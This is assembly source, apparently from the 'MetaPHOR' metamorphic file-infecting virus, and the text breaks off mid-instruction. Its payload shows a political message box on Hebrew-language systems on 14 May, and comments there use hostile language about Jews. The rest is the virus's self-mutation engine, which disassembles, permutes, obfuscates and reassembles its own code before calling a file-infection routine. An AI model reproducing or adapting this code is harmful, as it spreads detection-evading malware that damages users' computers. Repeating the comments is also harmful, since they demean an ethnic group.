; "METAPHOR v1 BY THE MENTAL DRILLER/29A" push eax ; with random upcases and lowcases. push ecx push edx ; APICALL_BEGIN xor eax, eax push eax mov eax, edx push eax push eax xor eax, eax push eax call dword ptr [ebp+RVA_MessageBoxA] pop edx pop ecx pop eax jmp @@EndPayload ; Not so-silly 2nd part of the payload. ; We get the system language and, if it's hebrew, we show a message box with ; the message "Free Palestine!", my little contribution against the illegal ; occupation performed by the jews and supported by EEUU. The message will ; show on 14 May, the day that the state of Israel was declarated. ; Notice that I'm not supporting organizations like Hamas or shit like that, ; but it's true that jews began the war stealing the Palestinian home to ; the Palestinian People. Anyway, killing people is not the solution ; (wherever the side of the conflict they are in). @@CheckPayload2: mov eax, [edx+2] and eax, 0FFh cmp eax, 5 ; May jnz @@NoPayload mov eax, [edx+6] and eax, 0FFh cmp eax, 0Eh ; 14th jnz @@NoPayload push eax push ecx push edx call dword ptr [ebp+RVA_GetSystemDefaultLCID] mov [ebp+ReturnValue], eax pop edx pop ecx pop eax mov eax, [ebp+ReturnValue] and eax, 0FFFFh cmp eax, 040Dh ; System language: hebrew? jnz @@NoPayload push edx mov eax, 'eerF' mov [edx], eax add edx, 4 mov eax, 'laP ' mov [edx], eax add edx, 4 mov eax, 'itse' mov [edx], eax add edx, 4 mov eax, '!en' ; Show our disconformity with jewish mov [edx], eax ; invasion of Palestine and all their pop edx ; fascist acting up to date (in a ; peaceful way) push eax push ecx push edx xor eax, eax push eax mov eax, edx push eax push eax xor eax, eax push eax call dword ptr [ebp+RVA_MessageBoxA] pop edx pop ecx pop eax @@EndPayload: @@NoPayload: ;; Now we are going to get random frames for variables, dissasembly, etc. for ;; the next generation usage. These variables must be passed "from the ;; outside" (as parameters from the loader/decryptor). ;; ;; Sizes of frames: ;; CODE_SECTION = 80000h ;; DISASM_SECTION = 100000h ;; LABEL_SECTION = 10000h + ;; VARIABLE_SECTION = 10000h + ;; BUFFER1_SECTION = 10000h + ;; BUFFER2_SECTION = 10000h + ;; VAR_MARKS_SECTION = 20000h = ;; BUFFERS_SECTION = 60000h ;; DATA_SECTION = 20000h ;; DISASM2_SECTION = 100000h ;; ----------- ;; 300000h ;; We always reserve 3'4 Mb of virtual memory at least, so we can add a random ;; shifting up to 256 Kb (40000h bytes) mov esi, [ebp+_DISASM_SECTION] add esi, ebp xor eax, eax ; Let's fabricate a random permutation of push esi ; the sequence 0,1,2,3,4,5. @@LoopGarbleSect_01: mov ebx, eax add eax, 1 mov ecx, eax add eax, 1 mov edx, eax add eax, 1 push eax call Xp_GarbleRegisters ; Garble EBX, ECX and EDX pop eax mov [esi], ebx mov [esi+4], ecx mov [esi+8], edx ; Store the garbled sequence add esi, 0Ch cmp eax, 6 jnz @@LoopGarbleSect_01 ; Repeat it again (get 4,5,6) pop esi push esi mov ecx, 2 ; Now garble the <0,1,2> with the <3,4,5> @@LoopGarbleSect_02: push ecx mov ebx, [esi] ; Get value at position 0,2,4 and mov ecx, [esi+08h] ; garble it mov edx, [esi+10h] call Xp_GarbleRegisters mov [esi], ebx mov [esi+08h], ecx mov [esi+10h], edx ; Store the shuffling pop ecx add esi, 4 sub ecx, 1 or ecx, ecx jnz @@LoopGarbleSect_02 ; Make it with positions 1,3,5 pop esi mov ecx, 6 xor edx, edx ; Initialize adder @@LoopGarbleSect_03: call Random and eax, 7FFFh ; *5 = 40000h ; Add a random shifting add edx, eax mov eax, [esi] or eax, eax ; 0? jz @@GarbleSect_CodeSection ; Then set CODE_SECTION address cmp eax, 1 ; 1? jz @@GarbleSect_DisasmSection ; Then, DISASM_SECTION cmp eax, 2 jz @@GarbleSect_BuffersSection ; 2: BUFFERS_SECTION cmp eax, 3 jz @@GarbleSect_DataSection ; 3: DATA_SECTION cmp eax, 4 jnz @@GarbleSect_Next ; 4: DISASM2_SECTION @@GarbleSect_Disasm2Section: mov [ebp+New_DISASM2_SECTION], edx add edx, 100000h ; Add size of section to adder jmp @@GarbleSect_Next @@GarbleSect_CodeSection: mov [ebp+New_CODE_SECTION], edx add edx, 80000h ; Add size of section to adder jmp @@GarbleSect_Next @@GarbleSect_DisasmSection: mov [ebp+New_DISASM_SECTION], edx add edx, 100000h ; Add size of section to adder jmp @@GarbleSect_Next @@GarbleSect_BuffersSection: mov [ebp+New_BUFFERS_SECTION], edx add edx, 60000h ; Add size of section to adder jmp @@GarbleSect_Next @@GarbleSect_DataSection: mov [ebp+New_DATA_SECTION], edx add edx, 20000h ; Add size of section to adder @@GarbleSect_Next: add esi, 4 sub ecx, 1 or ecx, ecx jnz @@LoopGarbleSect_03 ;; Now we can start with the selfmutation ;; Disassembler: ;; ;; It disassembles the code starting at ESI (entrypoint) to a pseudoassembler ;; that is easier to handle. This pseudoassembler will be used along the ;; mutation instead of the direct machine code. mov eax, [ebp+_DISASM_SECTION] add eax, ebp ; Set the address of mov [ebp+InstructionTable], eax ; the instruction table mov eax, [ebp+_LABEL_SECTION] add eax, ebp ; Address of the label mov [ebp+LabelTable], eax ; table mov eax, [ebp+_BUFFER1_SECTION] add eax, ebp ; Temporary table for the mov [ebp+FutureLabelTable], eax ; storadge of labels mov eax, [ebp+_DISASM2_SECTION] add eax, ebp ; Temporary buffer to mark mov [ebp+PathMarksTable], eax ; the path of the code mov esi, [ebp+_CODE_SECTION] add esi, ebp ; ESI = Start of code call DisasmCode ; Disassemble the code nop ; NOP for debugging: Place for the debugger to put the ; INT 3. It will be eliminated by the disassembler, ; since all the one-byte instructions such CLC, INT 3, ; etc. are NOPed ; It returns EDI = Address of last instruction mov [ebp+AddressOfLastInstruction], edi ; Set last instr. ;; Shrinker ;; ;; It compresses all the redundancies and obfuscations that the expander did ;; in previous generations. call ShrinkCode ; Compress the code ;; Variable identificator: ;; ;; It scans the code to get instructions that use memory addresses and then ;; it converts them to a reference to a table of variables. After this, we ;; reselect the addresses of the variables. mov eax, [ebp+_VARIABLE_SECTION] add eax, ebp ; Set the address to the mov [ebp+VariableTable], eax ; table of variables mov eax, [ebp+_VAR_MARKS_SECTION] add eax, ebp ; Set the buffer that marks mov [ebp+VarMarksTable], eax ; the variables positions ; to know if a given address ; is already in the table ; or it's a free address mov ecx, [ebp+DeltaRegister] ; The delta register is used ; to know what is an internal ; variable and what's not call IdentifyVariables ; Identfy them and construct the ; table of variables ;; Code permutator ;; ;; It shuffles the code and insert jumps between to link the moved blocks, ;; updating also all the labels to point to the new location. mov eax, [ebp+_BUFFER1_SECTION] add eax, ebp ; Temporary buffer to construct mov [ebp+FramesTable], eax ; the permutation frames mov eax, [ebp+_DISASM2_SECTION] add eax, ebp ; Place where we store mov [ebp+PermutationResult], eax ; the permutated code mov eax, [ebp+_BUFFER2_SECTION] add eax, ebp ; Buffer to store jumps to fix mov [ebp+JumpsTable], eax ; while permutating call PermutateCode ; Permutate the code (in pseudoassembler) ; Returns [AddressOfLastInstruction] updated to point to the ; last instruction + 10h in [PermutationResult] address mov eax, [ebp+PermutationResult] mov [ebp+InstructionTable], eax ; Set the new instr. table ;; Code expander ;; ;; It generates alternatives for every instruction coded in our pseudo-ASM. ;; It's generated in a way that we only have to code every instruction ;; directly to have a very different look of the previous program, but keeping ;; the functionality unchanged. It also translates all registers into new ;; ones (except ESP, of course). xor eax, eax ; Tell the expander that mov [ebp+CreatingADecryptor], eax ; we are mutating the ; virus body mov eax, [ebp+_DISASM_SECTION] add eax, ebp ; Set the destiny address of the mov [ebp+ExpansionResult], eax ; expansion/obfuscation xor eax, eax ; Set the recursivity mov [ebp+SizeOfExpansion], eax ; to 3 (from 0 to 3) call XpandCode ; Redo all instructions ; Returns [AddressOfLastInstruction] updated ;; Code assembler ;; ;; It assembles the code previously obfuscated and expanded by the expander mov eax, [ebp+ExpansionResult] mov [ebp+InstructionTable], eax ; _DISASM_SECTION mov eax, [ebp+_DISASM2_SECTION] add eax, ebp ; Set the address where mov [ebp+NewAssembledCode], eax ; the reassembling result ; will be stored mov eax, [ebp+_VARIABLE_SECTION] add eax, ebp ; Use this address for mov [ebp+NewLabelTable], eax ; temporary storadge mov eax, [ebp+_BUFFER1_SECTION] add eax, ebp ; Another buffer for mov [ebp+JumpRelocationTable], eax ; temporary storadge call AssembleCode ; Convert the code to x86 ;; Here we have: ;; [NewAssembledCode] = _DISASM2_SECTION = New code ;; [SizeOfNewCode] = Size of new code (oh, no! really??? :) ;; [RoundedSizeOfNewCode] = Size of new code rounded to pages (4 Kb) ;; From now, every section is free except CODE_SECTION, DATA_SECTION and ;; DISASM2_SECTION. ;; Now let's make the action that gives this program the attribute of a ;; computer virus: INFECT mov eax, [ebp+_DISASM_SECTION] add eax, ebp ; Code the decryptor mov [ebp+DecryptorPseudoCode], eax ; here in pseudo-asm add eax, 80000h mov [ebp+AssembledDecryptor], eax ; Assemble it here mov eax, [ebp+_BUFFER2_SECTION] add eax, ebp ; Temporary buffer for the mov [ebp+FindFileData], eax ; FindFile functions mov eax, [ebp+_BUFFER1_SECTION] add eax, ebp ; Buffer for several mov [ebp+OtherBuffers], eax ; actions call InfectFiles ; Infect! @@Error: ret ; Return to the host and finish Main endp ;; Function to get the address of the module passed in ASCII. It will convert ;; the string to UNICODE if the GetModuleHandle function is GetModuleHandleW. APICall_GetModuleHandle proc mov eax, [ebp+FlagAorW] ; Get A or W or eax, eax ; A? jz @@UseGMHA ; Then, use the string as is mov ebx, edx add ebx, 20h ; Go to the end of the string buffer (W) mov ebx, edx add ecx, 10h ; Go to the end of the string buffer (A) @@LoopConvertToWideChar: mov eax, [ecx] ; Get a letter and eax, 0FFh ; Make it zero-extended (in words) mov [ebx], eax ; Store it sub ecx, 1 ; Decrease the ASCII address in 1 sub ebx, 2 ; Decrease the UNICODE address in 2 cmp ecx, edx ; Are we at the end of the buffer jnz @@LoopConvertToWideChar ; If not, loop again @@UseGMHA: push edx ; Store parameter call dword ptr [ebp+RVA_GetModuleHandle] ; Call the API mov [ebp+ReturnValue], eax ; Store the module handle ret APICall_GetModuleHandle endp ; EDI = Handle of module ; EDX = Buffer where we have the function name GetFunction proc push eax push ecx push edx ; APICALL_BEGIN mov eax, edx ; We do this to avoid many continuous PUSHes push eax ; Store function name and module handle mov eax, edi push eax call dword ptr [ebp+RVA_GetProcAddress] ; Call API mov [ebp+ReturnValue], eax pop edx pop ecx pop eax ; APICALL_END mov eax, [ebp+ReturnValue] ; Get the function address ret GetFunction endp ;; KEYWORD: Key_!Disassembler ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;; *********************************************************************** ;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; ;; The disassembler ;; ---------------- ;; ;; The disassembler is the module that converts the machine code into our ;; pseudo-assembler in the addresses we gave it. ;; ;; The codification of every instruction of the generated pseudo-assembler ;; is as follows (extracted from the article I wrote about metamorphism and ;; this engine): ;; ;; --------------------------------------------------------------------------- ;; ;; The MetaPHOR internal pseudo-assembler follows the next rules: ;; ;; a) All the instructions are 16-bytes long (but this can change in the ;; future to handle 64-bits processors, like the Itanium). ;; ;; b) The structure of the instruction is always the same for all them: ;; ;; General structure: ;; ;; 16 bytes per instruction, ;; ;; 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ;; OP *----- instruction data ----* LM *-pointer-* ;; ;; OP is the opcode of the instruction. Depending on the opcode we use ;; an instruction data structure or other. ;; ;; LM is "Label Mark". Its value is 1 when a label is pointing to this ;; instruction, and can be used for quite things, for example to know ;; if two instructions can be shrinked or not (they can't if the second ;; one has a label over it). It's at +0B in the instruction. ;; ;; The dword at +0C is a pointer that means "last code reference". On ;; disassembly this means the EIP where this instruction is pointing to ;; its original codification, but while we are advancing in the code ;; treatment we store here references to the last situation of the ;; instruction. This helps to make modifications to the table of labels, ;; to recode the displacement instructions (JMP, CALL, etc.) and more. ;; ;; ;; Now the structures that the engine uses in the instructions: ;; ;; Memory_address_struct: ;; +01: First index ;; +02: Second index, bits 7&6 are the multiplicator (00=*1,01=*2, ;; 10=*4,11=*8) ;; +03: DWORD addition to indexes ;; ;; ;; ;; Depending on the opcode (the operation to perform), the following ;; means: ;; ;; - If operation has no operand (NOP, RET, etc). nothing in the instr. ;; data is performed ;; ;; - If operation has one operand: ;; ;; Register operand: ;; +01: Register ;; ;; Memory address: ;; +01: Memory address struct ;; ;; Immediate value: ;; +07: DWORD value, zero extended if it's a byte operation ;; ;; Destiny address (JMP, CALL, etc.) ;; +01: Label to jump to (DWORD) ;; ;; - If operation has two operands: ;; ;; Reg,Imm: ;; +01: Register ;; +07: DWORD immediate value, zero extended if it's a 8-bits op. ;; ;; Reg,Reg: ;; +01: Source register ;; +07: Destiny register ;; ;; Reg,Mem: ;; +01: Memory address struct ;; +07: Destiny register ;; ;; Mem,Reg: ;; +01: Memory address struct ;; +07: Source register ;; ;; Mem,Imm: ;; +01: Memory address struct ;; +07: DWORD immediate value, zero extended if it's a 8-bits op. ;; ;; ;; From this rules, now we use the next pseudo-opcodes: ;; ;; 00: ADD, 08: OR, 20: AND, 28: SUB, 30: XOR, 38: CMP, 40: MOV, 48: TEST ;; ;; Set rules: +00: Reg,Imm ;; +01: Reg,Reg ;; +02: Reg,Mem ;; +03: Mem,Reg ;; +04: Mem,Imm ;; +80: 8 bits operation ;; ;; So, opcode 83 means ADD Mem,Reg using 8-bits operands, and so on. ;; ;; 50: PUSH Reg ;; 51: PUSH Mem ;; 58: POP Reg ;; 59: POP Mem ;; 68: PUSH Imm ;; 70-7F: Conditional jumps ;; E0: NOT Reg ;; E1: NOT Mem ;; E2: NOT Reg8 ;; E3: NOT Mem8 ;; E4: NEG Reg ;; E5: NEG Mem ;; E6: NEG Reg8 ;; E7: NEG Mem8 ;; E8: CALL label ;; E9: JMP label ;; EA: CALL Mem (used for API calls) ;; EB: JMP Mem (used for obfuscation in API calls) ;; EC: CALL Reg (obfuscation of API calls) ;; ED: JMP Reg (idem) ;; ;; F0: SHIFT Reg,Imm ;; F1: SHIFT Mem,Imm ;; F2: SHIFT Reg8,Imm ;; F3: SHIFT Mem8,Imm ;; For all SHIFTs: ;; +07: Byte with the value of rotation/shifting ;; +08: Operation performed: 0: ROL, 8: ROR, 20: SHL, 28: SHR ;; F4: APICALL_BEGIN ;; Special operation meaning PUSH EAX/PUSH ECX/PUSH EDX that avoids ;; the recoding of these registers, always remaining the same. ;; F5: APICALL_END ;; The complementary of APICALL_BEGIN, it means POP EDX/POP ECX/POP EAX ;; F6: APICALL_STORE ;; +01: Memory address struct ;; This always means: MOV [Mem],EAX <-- Avoiding the recoding of EAX ;; F7: SET_WEIGHT ;; +01: Memory address struct ;; +07: Weight item identificator ;; +08: Register 1 ;; +09: Register 2 ;; F8: MOVZX ;; Memory address struct is a 8-bits operand, while +07 is a 32 bit reg. ;; FC: LEA ;; FE: RET ;; FF: NOP ;; --------------------------------------------------------------------------- ;; ;; The decodification, as you will see, it's not arbitrary, I mean, there ;; is a reason for every format of decodification in every instruction. ;; Although many times the format is in that way due to thinking on simplicity, ;; other times I changed the format to make code reduction easier. ;; ESI = Start of code to dissasemble DisasmCode proc xor eax, eax mov [ebp+NumberOfLabels], eax ; Initialize the number of mov [ebp+NumberOfLabelsPost], eax ; labels and the number ; of buffered labels mov ecx, 80000h/4 ; Initialize the path marks mov edi, [ebp+PathMarksTable] xor eax, eax @@LoopInitializePathTable: mov [edi], eax ; Fill all the buffers with 0 add edi, 4 sub ecx, 1 or ecx, ecx jnz @@LoopInitializePathTable mov edi, [ebp+InstructionTable] ;; Let's disassemble the given code address (ESI) into the buffer where we ;;construct the whole code in pseudoassembler (EDI) @@LoopTrace: @@CheckCurrentLabel: mov eax, esi ; Check if the current code is already sub eax, [ebp+_CODE_SECTION] ; disassembled sub eax, ebp add eax, [ebp+PathMarksTable] mov eax, [eax] ; If the mark in the path is != 0, and eax, 0FFh ; then it's already disassembled. cmp eax, 1 jnz @@CheckIfFutureLabelArrived ;; If it's already disassembled, it's because the current code is inside ;; a loop, or is referenced by a label that we disassembled before. So, we ;; find the referenced code and we insert a JMP to there, and after that we ;; get a new EIP from the list of "future labels". mov edx, [ebp+InstructionTable] ; Get the first instruction @@CheckCurrEIP_001: mov eax, [edx+0Ch] ; Search the pointer at all the cmp eax, esi ; disassembled instructions. When we jz @@ItsTheCurrentEIP ; find it, we'll insert a JMP to that add edx, 10h ; instruction. jmp @@CheckCurrEIP_001 @@ItsTheCurrentEIP: mov [edi+0Ch], esi ; Set the new pointer. mov eax, [edi+0Bh] ; Get the label mark. and eax, 0FFFFFF00h ; Clear it. mov [edi+0Bh], eax mov eax, 0E9h ; Set the JMP to the already mov [edi], eax ; disassembled code mov eax, esi mov ebx, edx ; Insert the label call InsertLabel mov [edi+1], edx add edi, 10h ; Increment the EIP ; Now get a new EIP to disassemble. mov ecx, [ebp+NumberOfLabelsPost] ; Get the number of or ecx, ecx ; labels. If it's 0, we haven't more branches jz @@FinDeTraduccion ; to disassemble, so we finish and ; return. mov ebx, [ebp+FutureLabelTable] ; Get the table address @@LoopCheckOtherFutureLabel: ; Look for a not disassembled label mov eax, [ebx] cmp eax, esi jz @@OtherFutureLabelFound @@LoopSearchOtherFutureLabel: add ebx, 8 sub ecx, 1 or ecx, ecx jnz @@LoopCheckOtherFutureLabel ; Now we have a new EIP in ESI mov ecx, [ebp+NumberOfLabelsPost] mov ebx, [ebp+FutureLabelTable] @@LoopCheckOtherFutureLabel2: mov eax, [ebx] ; Check the other labels at the table. or eax, eax ; If we found one already disassembled, jz @@LoopSearchOtherFutureLabel2 ; we eliminate it from the sub eax, ebp ; list and insert the new label in the sub eax, [ebp+_CODE_SECTION] ; table of definitive add eax, [ebp+PathMarksTable] ; labels. mov eax, [eax] and eax, 0FFh cmp eax, 1 jz @@ReleaseLabelsInThatAddress @@LoopSearchOtherFutureLabel2: add ebx, 8 sub ecx, 1 or ecx, ecx jnz @@LoopCheckOtherFutureLabel2 jmp @@GetEIPFromFutureLabelList @@ReleaseLabelsInThatAddress: push ebx ; Release the label. This means store push ecx ; the labels already disassembled in the mov esi, [ebx] ; definitive label table, and all that. call ReleaseFutureLabels ; It checks the current EIP in ESI. pop ecx pop ebx jmp @@LoopSearchOtherFutureLabel2 @@OtherFutureLabelFound: mov eax, [ebx+4] ; Set the label at the JUMP or mov [eax+1], edx ; displacement instruction xor eax, eax mov [ebx], eax ; Eliminate the label from the future jmp @@LoopSearchOtherFutureLabel ; label list @@CheckIfFutureLabelArrived: mov eax, [edi+0Bh] ; Clear the label mark... and eax, 0FFFFFF00h mov [edi+0Bh], eax call ReleaseFutureLabels ; ...and release the temporary ; labels @@SigueInstr: mov [edi+0Ch], esi ; Set the current EIP at the pointer mov ebx, esi ; field. sub ebx, [ebp+_CODE_SECTION] sub ebx, ebp add ebx, [ebp+PathMarksTable] mov eax, [ebx] or eax, 1 mov [ebx], eax ; Mark address as already decoded mov eax, [esi] ; Get the opcode and eax, 0FFh cmp eax, 3Fh ; OP Reg,Reg, Mem,Reg or Reg,Mem? jbe @@GenericOpcode cmp eax, 47h ; INC Reg? jbe @@Op_INC cmp eax, 4Fh ; DEC Reg? jbe @@Op_DEC cmp eax, 5Fh ; PUSH Reg/POP Reg? jbe @@Op_PUSHPOP cmp eax, 68h ; PUSH Imm? jz @@Op_PUSHValue cmp eax, 6Ah ; PUSH sign-extended Imm? jz @@Op_PUSHSignedValue cmp eax, 70h ; Short conditional jump? jb @@SigueInstr_00 cmp eax, 7Fh jbe @@Jcc @@SigueInstr_00: cmp eax, 80h ; Reg,Imm or Mem,Imm? jb @@SigueInstr_01 cmp eax, 83h jbe @@GenericOpcode2 @@SigueInstr_01: cmp eax, 84h ; TEST jz @@Gen_8b_MemReg cmp eax, 85h ; TEST jz @@Gen_32b_MemReg ; cmp eax, 86h ; XCHG ; jz @@Gen_8b_MemReg ; cmp eax, 87h ; XCHG ; jz @@Gen_32b_MemReg cmp eax, 8Bh ; MOV? jbe @@GenericOpcode cmp eax, 8Dh ; LEA jz @@LEA cmp eax, 8Fh ; POP Mem? jz @@POPMem cmp eax, 90h ; NOP? jz @@NOP ; cmp eax, 97h ; Disabled instructions ; jbe @@XCHGWithEAX ; cmp eax, 0A0h ; jz @@MOVALMem ; cmp eax, 0A1h ; jz @@MOVEAXMem ; cmp eax, 0A2h ; jz @@MOVMemAL ; cmp eax, 0A3h ; jz @@MOVMemEAX cmp eax, 0A8h ; TEST AL,xx? jz @@TESTALValue cmp eax, 0A9h ; TEST EAX,xx? jz @@TESTEAXValue cmp eax, 0B0h ; MOV Reg8,xx? jb @@SigueInstr_02 cmp eax, 0B7h jbe @@MOVReg8Value cmp eax, 0BFh ; MOV Reg,xxx? jbe @@MOVRegValue @@SigueInstr_02: cmp eax, 0C0h ; SHIFT,1? (ROL,ROR,etc. with 8 bits) jz @@BitShifting8 cmp eax, 0C1h ; SHIFT,1 with 32 bits? jz @@BitShifting32 cmp eax, 0C3h ; RET? jz @@RET cmp eax, 0C6h ; MOV Mem8,Imm? jz @@MOVMem8Value cmp eax, 0C7h ; MOV Mem,Imm? jz @@MOVMem32Value cmp eax, 0D0h ; SHIFT,x with 8 bits? jz @@BitShifting8 cmp eax, 0D1h ; SHIFT,x with 32 bits? jz @@BitShifting32 ;; In this gap there are obsolete instructions, copro ones and ;; other that we aren't going to use (for the moment), so decode ;; them it's not worthy. cmp eax, 0E8h ; CALL? jz @@CALL cmp eax, 0E9h ; Long JMP? jz @@JMP cmp eax, 0EBh ; Short JMP? jz @@JMP8 cmp eax, 0F5h ; CMC? jz @@NOP cmp eax, 0F6h ; NOT and NEG? jz @@SomeNotVeryCommon8 cmp eax, 0F7h jz @@SomeNotVeryCommon32 cmp eax, 0FDh ; One-byters that have not been decoded jbe @@NOP ; are set as NOP cmp eax, 0FEh ; INC/DEC Mem8? jz @@INCDECMem8 cmp eax, 0FFh ; INC/DEC/PUSH Mem? jz @@INCDECPUSHMem32 mov eax, 0FFh ; Set NOP if any instruction hasn't @@SetOneByteInstruction: ; fit the conditions above mov [edi], eax add edi, 10h ; Increase the storadge EIP and the inc esi ; disassembly EIP by 1 @@ContinueDissasembly: jmp @@LoopTrace ; Treat next instruction ;;;; GENERIC OPCODE ; This kind of construction is very common among the opcodes. This is the way ; Intel codes the instructions that uses the Reg,Reg, Mem,Reg and Reg,Mem ; operands. The operations coded under this ones are ADD, OR, ADC, SBB, AND, ; SUB, XOR and CMP. @@GenericOpcode: and eax, 7 ; Get the register cmp eax, 3 ; Check the type of instruction. If it's jbe @@Gen_NormalOpcode ; Mem,Reg, Reg,Mem or Reg,Reg, jump. cmp eax, 4 ; Check if it's an OP with AL jz @@Gen_UsingAL cmp eax, 5 ; Check if it's an OP with EAX jz @@Gen_UsingEAX mov eax, [esi] ; Check if the opcode is 0F, the opcode and eax, 0FFh ; that is used for some extended operations cmp eax, 0Fh jz @@Opcode0F jmp @@SetOneByteInstruction ; Set the instruction. @@Gen_NormalOpcode: or eax, eax ; Check Mem8,Reg8 jz @@Gen_8b_MemReg cmp eax, 1 ; Check Mem,Reg jz @@Gen_32b_MemReg cmp eax, 2 ; Check Reg8,Mem8 jz @@Gen_8b_RegMem @@Gen_32b_RegMem: mov eax, [esi+1] and eax, 0C0h cmp eax, 0C0h ; Check Reg,Reg jz @@Gen_32b_ReglReg mov eax, [esi] and eax, 0FFh cmp eax, 8Bh ; Get the opcode jnz @@Gen_32b_RegMem_0 ; If it isn't MOV, jump mov eax, 40h+2 ; Set MOV Reg,Mem jmp @@Gen_GenMem ; Jump to decode the instruction @@Gen_32b_RegMem_0: and eax, 38h ; Get the operation in pseudo-asm add eax, 2 ; Set the "Reg,Mem" mode @@Gen_GenMem: mov edx, [edi] ; Get the data around the pseudoopcode and edx, 0FFFFFF00h ; Set the opcode and eax, 0FFh add eax, edx mov [edi], eax mov eax, [esi+1] ; Get the data of the x86 opcode and eax, 38h ; Get the register involved shr eax, 3 mov [edi+7], eax ; Store it at +7 in the pseudo-instr. mov edx, esi ; Set in EDX the offset of the memory add edx, 1 ; construction call DecodeMemoryConstruction ; Decode it add esi, ebx ; Add the length of the memory field add esi, 1 ; to ESI jmp @@NextInstruction @@Gen_32b_MemReg: mov eax, [esi+1] ; Get the second opcode and eax, 0C0h ; Check if it's Reg,Reg operation cmp eax, 0C0h jz @@Gen_32b_lRegReg ; If it is, jump to decode it mov eax, [esi] and eax, 0FFh ; Get the opcode cmp eax, 85h ; Check if it's TEST jnz @@Gen_32b_MemReg_0 mov eax, 48h+3 ; If it is, store a TEST opcode jmp @@Gen_GenMem @@Gen_32b_MemReg_0: ; cmp eax, 87h ; This is XCHG, but we aren't using ; jnz @@Gen_32b_MemReg_1 ; it, so it's disabled. ; mov eax, 48h+6 ; jmp @@Gen_GenMem @@Gen_32b_MemReg_1: cmp eax, 89h ; Check if it's MOV Mem,Reg jnz @@Gen_32b_MemReg_2 mov eax, 40h+3 ; Set MOV Mem,Reg if it is jmp @@Gen_GenMem @@Gen_32b_MemReg_2: and eax, 38h ; Get the pseudoopcode add eax, 3 jmp @@Gen_GenMem ; Jump to set it and decode the rest @@Gen_32b_ReglReg: call GenOp_SetRegReg ; Decode the Reg,Reg instruction @@Gen_GenReglReg: mov eax, [esi+1] ; Get the source register and eax, 7 mov [edi+1], eax ; Set it on the disassembly mov eax, [esi+1] ; Get the destiny register and set it and eax, 38h shr eax, 3 mov [edi+7], eax add esi, 2 jmp @@NextInstruction @@Gen_32b_lRegReg: call GenOp_SetRegReg ; Decode the Reg,Reg instruction @@Gen_GenlRegReg: mov eax, [esi+1] ; Get the registers and store them in and eax, 7 ; their appropiated fields mov [edi+7], eax mov eax, [esi+1] and eax, 38h shr eax, 3 mov [edi+1], eax add esi, 2 jmp @@NextInstruction @@Gen_8b_RegMem: mov eax, [esi+1] ; Get the OP Reg,Mem and eax, 0C0h cmp eax, 0C0h ; Check first if it's OP Reg,Reg jz @@Gen_8b_ReglReg ; If it is, jump mov eax, [esi] and eax, 0FFh cmp eax, 8Ah ; MOV Reg8,Mem8? jnz @@Gen_8b_RegMem_0 mov eax, 40h+82h ; Set MOV Reg8,Mem8 jmp @@Gen_GenMem ; Jump to decode the memory address @@Gen_8b_RegMem_0: and eax, 38h add eax, 82h ; Get the operation and set it jmp @@Gen_GenMem @@Gen_8b_MemReg: mov eax, [esi+1] ; Get the operation and eax, 0C0h ; Check if it's OP Mem,Reg cmp eax, 0C0h jz @@Gen_8b_lRegReg ; If it is, jump mov eax, [esi] and eax, 0FFh ; Get the opcode cmp eax, 84h ; If it's TEST... jnz @@Gen_8b_MemReg_0 mov eax, 48h+83h ; ...set it jmp @@Gen_GenMem @@Gen_8b_MemReg_0: ; cmp eax, 86h ; This is XCHG 8 bits, but it's disabled ; jnz @@Gen_8b_MemReg_1 ; because we don't use this type of ; mov eax, 48h+86h ; instructions ; jmp @@Gen_GenMem @@Gen_8b_MemReg_1: cmp eax, 88h ; Check if it's MOV Mem,Reg jnz @@Gen_8b_MemReg_2 mov eax, 40h+83h ; Set it if it's MOV Mem,Reg jmp @@Gen_GenMem @@Gen_8b_MemReg_2: and eax, 38h ; Get the OP add eax, 83h jmp @@Gen_GenMem ; Set it and jump to decode the memory ; reference @@Gen_8b_lRegReg: call GenOp_SetRegReg ; Decode the OP Reg8,Reg8 opcode mov eax, [edi] ; Set the 8 bits operation add eax, 80h mov [edi], eax jmp @@Gen_GenlRegReg ; Decode the rest of the instruction @@Gen_8b_ReglReg: call GenOp_SetRegReg ; Decode the OP Reg8,Reg8 mov eax, [edi] ; Set 8 bits instruction add eax, 80h mov [edi], eax jmp @@Gen_GenReglReg ; Decode the rest of the instruction @@Gen_UsingAL: mov eax, [esi] ; Get the operation and eax, 38h add eax, 80h mov edx, [edi] ; Set the opcode and edx, 0FFFFFF00h add eax, edx mov [edi], eax xor eax, eax mov eax, [esi+1] ; Get the Imm and eax, 0FFh ; Extend the sign cmp eax, 7Fh jbe @@Gen_UsingAL_01 add eax, 0FFFFFF00h @@Gen_UsingAL_01: add esi, 2 ; Increase EIP and set the value jmp @@Gen_SetValue @@Gen_UsingEAX: mov eax, [esi] ; Get the instruction and eax, 38h mov edx, [edi] ; Set the opcode and edx, 0FFFFFF00h add eax, edx mov [edi], eax mov eax, [esi+1] ; Set the value add esi, 5 @@Gen_SetValue: mov [edi+7], eax xor eax, eax ; Set the register (EAX) mov [edi+1], eax jmp @@NextInstruction ;;;; INC Reg @@Op_INC: and eax, 7 ; Get the register of the INC mov [edi+1], eax ; Set it xor eax, eax ; Pseudoopcode (ADD) jmp @@Op_GenINCDEC ;;;; DEC Reg @@Op_DEC: and eax, 7 ; Get the register of the DEC mov [edi+1], eax ; Set it mov eax, 28h ; Pseudoopcode (SUB) @@Op_GenINCDEC: mov edx, [edi] ; Set the pseudoopcode and edx, 0FFFFFF00h and eax, 0FFh add eax, edx mov [edi], eax mov eax, 1 ; Set the value of addition/subtraction mov [edi+7], eax add esi, 1 ; Increase the EIP jmp @@NextInstruction ;;;; PUSH Reg & POP Reg @@Op_PUSHPOP: and eax, 7 ; Get the register of the opcode mov [edi+1], eax ; Set it mov eax, [esi] and eax, 58h ; Get the instruction (PUSH or POP) mov edx, [edi] and edx, 0FFFFFF00h add eax, edx mov [edi], eax ; Set it add esi, 1 jmp @@NextInstruction ;;;; PUSH Value @@Op_PUSHValue: mov [edi], eax ; Set the opcode mov eax, [esi+1] ; Get the value mov [edi+7], eax add esi, 5 ; Add the length of the instr. to the EIP jmp @@NextInstruction ;;;; PUSH SignedValue @@Op_PUSHSignedValue: mov eax, 68h ; Set the opcode 68h mov [edi], eax mov eax, 